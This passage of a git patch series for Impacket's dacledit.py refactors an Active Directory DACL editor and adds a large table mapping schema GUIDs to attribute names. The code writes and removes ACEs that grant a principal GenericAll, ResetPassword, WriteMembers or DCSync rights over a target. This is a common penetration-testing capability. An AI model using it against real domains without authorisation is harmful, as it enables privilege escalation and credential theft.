RIGHTS_GUID.WRITE_MEMBERS ] + elif self.rights == "ResetPassword": + _rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] + elif self.rights == "DCSync": + _rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] - for rights_guid in rights_guids: - # todo check if rights already there, not changing if they are - logging.info("Appending ACE (%s --(%s)--> %s)" % (self.controlled_account_sid, rights_guid.name, self.target_account)) - secDesc['Dacl']['Data'].append(create_access_allowed_object_ace(rights_guid.value, self.controlled_account_sid)) + for rights_guid in _rights_guids: + logging.info("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid.name, format_sid(self.target_SID))) + secDesc['Dacl'].aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) dn = self.target_principal.entry_dn data = secDesc.getData() self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) @@ -194,9 +221,95 @@ def write(self, controlled_account, rights, rights_guid): logging.error('The server returned an error: %s', self.ldap_session.result['message']) return - def remove(self, controlled_account, rights_guid): - # todo, we need to parse a DACL - pass + def remove(self): + if self.principal_SID is None: + if self.principal_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + elif self.principal_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + pass + except IndexError: + logging.error('Principal not found in LDAP') + return False + logging.debug("Principal SID to write in comparison ACE(s): %s" % self.principal_SID) + + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + except IndexError: + logging.error('Principal not found in LDAP') + return False + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + + compare_aces = [] + if self.rights == "GenericAll" and self.rights_guid is None: + # compare_aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) + compare_aces.append(create_access_allowed_ace(983551, self.principal_SID)) + # todo : having issues with setting genericall ACEs, puttinf this hard value here to be able to remove a what-seems-like-genericall + pass + else: + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [self.rights_guid] + elif self.rights == "WriteMembers": + _rights_guids = [RIGHTS_GUID.WRITE_MEMBERS] + elif self.rights == "ResetPassword": + _rights_guids = [RIGHTS_GUID.RESET_PASSWORD] + elif self.rights == "DCSync": + _rights_guids = [RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL] + for rights_guid in _rights_guids: + compare_aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) + new_dacl = [] + i = 0 + for ace in secDesc['Dacl'].aces: + logging.debug("Comparing ACE[%d]" % i) + ace_must_be_removed = False + for compare_ace in compare_aces: + if ace['AceType'] == compare_ace['AceType'] \ + and ace['AceFlags'] == compare_ace['AceFlags']\ + and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ + and ace['Ace']['Sid']['Revision'] == compare_ace['Ace']['Sid']['Revision']\ + and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ + and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ + and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: + if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): + if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: + logging.debug("This ACE will be removed") + ace_must_be_removed = True + self.printparsedACE(self.parseACE(ace)) + else: + logging.debug("This ACE will be removed") + ace_must_be_removed = True + self.printparsedACE(self.parseACE(ace)) + if not ace_must_be_removed: + new_dacl.append(ace) + i += 1 + secDesc['Dacl'].aces = new_dacl + dn = self.target_principal.entry_dn + data = secDesc.getData() + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + return def flush(self): # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL @@ -226,73 +339,91 @@ def parseDACL(self, dacl): i = 0 for ace in dacl['Data']: logging.debug("Parsing ACE[%d]" % i) - if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - parsed_ace = {} - parsed_ace['ACE Type'] = ace['TypeName'] - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) - - if ace['TypeName'] == "ACCESS_ALLOWED_ACE": - _access_mask_flags = [] - for FLAG in ALLOWED_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - # todo match the SID with the object sAMAccountName ? - elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - _access_mask_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - # todo match the SID with the object sAMAccountName ? - _object_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_FLAGS: - if ace['Ace'].hasFlag(FLAG.value): - _object_flags.append(FLAG.name) - parsed_ace['Object flags'] = ", ".join(_object_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() - if ace['Ace']['ObjectTypeLen'] != 0: - parsed_ace['Object type'] = bin_to_string(ace['Ace']['ObjectType']) - # todo match guid with human readable right, create an Enum class for that - if ace['Ace']['InheritedObjectTypeLen'] != 0: - parsed_ace['Inherited object type'] = bin_to_string(ace['Ace']['InheritedObjectType']) - # todo match guid with human readable right, create an Enum class for that - else: - logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) - parsed_ace = {} - parsed_ace['Type'] = ace['TypeName'] - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_ace_flags) - parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_ace = self.parseACE(ace) parsed_dacl.append(parsed_ace) i += 1 return parsed_dacl + def parseACE(self, ace): + if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + parsed_ace = {} + parsed_ace['ACE Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) + + if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + _access_mask_flags = [] + # todo : something is wrong here, when creating a genericall manually on the DC, the Mask reflects here with a value of 983551, I'm not sure I'm parsing that data correctly + for FLAG in ALLOWED_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + _object_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + if ace['Ace'].hasFlag(FLAG.value): + _object_flags.append(FLAG.name) + parsed_ace['Object flags'] = ", ".join(_object_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + if ace['Ace']['ObjectTypeLen'] != 0: + obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() + try: + parsed_ace['Object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + except KeyError: + parsed_ace['Object type'] = "UNKNOWN (%s)" % obj_type + if ace['Ace']['InheritedObjectTypeLen'] != 0: + inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() + try: + parsed_ace['Inherited object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + except KeyError: + parsed_ace['Object type'] = "UNKNOWN (%s)" % inh_obj_type + else: + logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + parsed_ace = {} + parsed_ace['Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + return parsed_ace + def printparsedDACL(self, parsed_dacl): logging.info("Printing parsed DACL") i = 0 for parsed_ace in parsed_dacl: logging.info(" %-28s" % "ACE[%d] info" % i) - elements_name = list(parsed_ace.keys()) - for attribute in elements_name: - logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + self.printparsedACE(parsed_ace) i += 1 + def printparsedACE(self, parsed_ace): + elements_name = list(parsed_ace.keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-from", dest="controlled_account", type=str, required=False, help="Attacker controlled principal to add for the ACE") - parser.add_argument("-to", dest="target_account", type=str, required=False, help="Target principal the attacker has WriteDACL to") + parser.add_argument("-principal", dest="principal_sAMAccountName", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-principal-sid", dest="principal_SID", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-principal-dn", dest="principal_DN", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") + parser.add_argument("-target", dest="target_sAMAccountName", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") + parser.add_argument("-target-sid", dest="target_SID", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") + parser.add_argument("-target-dn", dest="target_DN", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') @@ -540,8 +671,8 @@ def main(): args = parse_args() init_logger(args) - if args.action == 'write' and args.delegate_from is None: - logging.critical('`-delegate-from` should be specified when using `-action write` !') + if args.action == 'write' and args.principal_sAMAccountName is None and args.principal_SID is None and args.principal_DN is None: + logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') sys.exit(1) domain, username, password, lmhash, nthash = parse_identity(args) @@ -550,13 +681,13 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - dacledit = DACLedit(ldap_server, ldap_session, args.target_account) + dacledit = DACLedit(ldap_server, ldap_session, args) if args.action == 'read': dacledit.read() elif args.action == 'write': - dacledit.write(args.controlled_account, args.rights, args.rights_guid) + dacledit.write() elif args.action == 'remove': - dacledit.remove(args.controlled_account, args.rights, args.rights_guid) + dacledit.remove() elif args.action == 'flush': dacledit.flush() except Exception as e: diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py new file mode 100644 index 000000000..e69de29bb From c1a457c7697eea7538dc0681af3964503cdd9899 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 03:28:02 +0200 Subject: [PATCH 102/163] Slightly improved printing and populated GUIDs --- examples/dacledit.py | 10 +- impacket/msada_guids.py | 1877 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 1883 insertions(+), 4 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index a6cbe2928..7dbf85531 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -167,7 +167,7 @@ def write(self): except IndexError: logging.error('Principal not found in LDAP') return False - logging.debug("Principal SID to write in ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) @@ -233,7 +233,7 @@ def remove(self): except IndexError: logging.error('Principal not found in LDAP') return False - logging.debug("Principal SID to write in comparison ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID: %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) @@ -272,7 +272,7 @@ def remove(self): new_dacl = [] i = 0 for ace in secDesc['Dacl'].aces: - logging.debug("Comparing ACE[%d]" % i) + # logging.debug("Comparing ACE[%d]" % i) ace_must_be_removed = False for compare_ace in compare_aces: if ace['AceType'] == compare_ace['AceType'] \ @@ -290,7 +290,9 @@ def remove(self): else: logging.debug("This ACE will be removed") ace_must_be_removed = True - self.printparsedACE(self.parseACE(ace)) + elements_name = list(self.parseACE(ace).keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, self.parseACE(ace)[attribute])) if not ace_must_be_removed: new_dacl.append(ace) i += 1 diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py index e69de29bb..0d485fd97 100644 --- a/impacket/msada_guids.py +++ b/impacket/msada_guids.py @@ -0,0 +1,1877 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) +# +# References: +# MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID: +# - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f +# - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e +# - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 +# GUIDS gathered from (lots of cleaning made from that source, things may be missing): +# - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1 +# + +SCHEMA_OBJECTS = { + '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', + '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', + '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', + 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', + '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', + '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', + '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', + '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', + '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', + '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', + 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', + 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', + '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', + 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', + 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', + 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', + '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', + 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', + 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', + 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', + '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', + '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', + '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', + 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', + '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', + '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', + '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', + 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', + 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', + 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', + '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', + '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', + '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', + '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', + 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', + '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', + 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', + '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', + 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', + 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', + 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', + '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', + 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', + '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', + 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', + 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', + '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', + 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', + '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', + 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', + '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', + 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', + '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', + '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', + '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', + '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', + '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', + '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', + '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', + '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', + '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', + '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', + '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', + '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', + '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', + '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', + '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', + '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', + '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', + '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', + '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', + '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', + 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', + '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', + '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', + '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', + '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', + 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', + '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', + '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', + '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', + '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', + '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', + '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', + 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', + 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', + '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', + 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', + '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', + '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', + 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', + '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', + 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', + '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', + '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', + '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', + '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', + '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', + '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', + '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', + 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', + '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', + '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', + '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', + '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', + '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', + 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', + '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', + 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', + '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', + '5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', + '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', + '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', + 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', + 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', + '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', + 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', + 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', + 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', + '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', + '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', + 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', + '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', + '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', + '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', + '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', + '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', + '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', + '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', + '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', + 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', + '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', + 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', + 'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', + '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', + 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', + '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', + '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', + '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', + 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', + 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', + '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', + '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', + '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', + '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', + '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', + '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', + 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', + 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', + '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', + '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', + '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', + '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', + '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', + 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', + '7f56127e-5301-11d1-a9c5-0000f80367c1': 